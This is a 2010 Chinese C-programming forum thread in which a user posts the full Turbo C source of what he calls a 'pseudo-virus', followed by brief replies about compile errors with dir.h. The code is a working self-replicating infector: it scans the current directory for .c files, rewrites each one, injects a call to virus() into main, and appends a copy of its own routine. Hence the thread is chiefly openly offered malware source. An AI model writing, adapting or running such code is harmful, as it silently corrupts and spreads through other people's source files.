分享到:

C语言网

 找回密码
 加入社区

QQ登录

只需一步,快速开始

查看: 35313|回复: 126

我用c语言写的伪病毒   [复制链接]

Rank: 4

主题
7
帖子
118
C币
267 枚
在线时间
102 小时
发表于 2010-1-18 18:16:17 |显示全部楼层
本帖最后由 凌霄 于 2013-2-21 18:30 编辑
  1. #include<stdio.h>
  2. #include <dir.h>
  3. void main(void)
  4. {
  5. virus();
  6. }
  7. int virus()
  8. {
  9. struct ffblk ffblk;
  10. FILE *in,*out,*read;
  11. char *virus="virus.c";
  12. char buf[50][80];
  13. char *p;
  14. char *end="return";
  15. char *bracket="}";
  16. char *main="main";
  17. char *include[2]={"stdio.h","dir.h"};
  18. char *int_virus="int virus()";
  19. char *buffer;
  20. int done,i,j=0,flag=0;
  21. printf("\nI have a virus. Writen by PuBin\n");
  22. done = findfirst("*.c",&ffblk,0);
  23. while (!done)
  24. {
  25. i=0;
  26. if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
  27. {
  28. goto next;
  29. }
  30. do{
  31.     if(i>=50)
  32.     {
  33. fclose(in);
  34. goto next;
  35.     }
  36.     p=fgets(buf[i],80,in);
  37.     i++;
  38.    }while(p!=NULL);
  39.    fclose(in);
  40.    out=fopen(ffblk.ff_name,"w+t");
  41.    fputs("#include<stdio.h>\n",out);
  42.    fputs("#include<dir.h>\n",out);
  43. do
  44. {
  45.   if(strstr(buf[j],main)!=NULL)
  46.   {
  47.    for(;j<i-1;j++)
  48.    if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
  49.    fputs(buf[j],out);
  50.    else
  51.    {
  52.     if(flag==0)
  53.     {
  54. flag=1;
  55. fputs("virus();\n",out);
  56.     }
  57.     fputs(buf[j],out);
  58.    }
  59. }
  60. else if((strstr(buf[j],include[0])==NULL)
  61. &&(strstr(buf[j],include[1])==NULL))
  62. {
  63. fputs(buf[j],out);
  64. j++;
  65. }
  66. else
  67. j++;
  68. }while(j<i-1);
  69. read=fopen(virus,"rt");
  70. do
  71. {
  72. p=fgets(buffer,80,read);
  73. if(strstr(buffer,int_virus))
  74. while(p!=NULL)
  75. {
  76.   if(strstr(buffer,virus)==NULL)
  77.   fputs(buffer,out);
  78.   else
  79.   {
  80.                 fputs(" char *virus=\"",out);
  81. fputs(ffblk.ff_name,out);
  82.         fputs("\";\n",out);
  83. }
  84. p=fgets(buffer,80,read);
  85. }
  86. }while(p!=NULL);

  87. fclose(read);
  88. fclose(out);
  89. printf("\nYour c program  %s has a virus. Writen by PuBin\n",ffblk.ff_name);
  90. next: done = findnext(&ffblk);
  91. }
  92. return 0;
  93. }
复制代码

Rank: 1

主题
0
帖子
3
C币
6 枚
在线时间
0 小时
发表于 2010-1-22 23:26:03 |显示全部楼层
学破坏呀

Rank: 1

主题
0
帖子
10
C币
11 枚
在线时间
2 小时
发表于 2010-1-23 12:17:57 |显示全部楼层
这个是什么病毒啊
怎么看不懂啊

Rank: 1

主题
0
帖子
1
C币
1 枚
在线时间
0 小时
发表于 2010-1-24 10:50:02 |显示全部楼层
我执行了下这个程序,第二行即#include <dir.h> 有错误 1# klttl

Rank: 1

主题
0
帖子
4
C币
4 枚
在线时间
0 小时
发表于 2010-1-30 08:26:22 |显示全部楼层
我只学了c你这个是不是用c++啊???有好几个头文件在C上没找到!!

Rank: 4

主题
7
帖子
118
C币
267 枚
在线时间
102 小时
发表于 2010-2-4 12:49:36 |显示全部楼层
程序没错你用c++平台运行!

Rank: 1

主题
0
帖子
10
C币
10 枚
在线时间
2 小时
发表于 2010-2-18 18:55:09 |显示全部楼层
很好啊!

Rank: 1

主题
0
帖子
3
C币
3 枚
在线时间
0 小时
发表于 2010-3-16 18:26:42 |显示全部楼层
研究下~~~~

Rank: 1

主题
0
帖子
9
C币
9 枚
在线时间
2 小时
发表于 2010-3-26 23:38:55 |显示全部楼层
我执行了下这个程序,第二行即#include <dir.h>  有错误 1# klttl
我和ws2892221运行一样啊

Rank: 1

主题
0
帖子
24
C币
23 枚
在线时间
2 小时
发表于 2010-4-8 20:57:29 |显示全部楼层
留在以后好好学习,谢谢高手提供信息
您需要登录后才可以回帖 登录 | 加入社区

C语言  C语言论坛 ( 粤ICP备11042647号-2 )

GMT+8, 2017-4-25 20:28

©2009-2015 cyuyan.com.cn

回顶部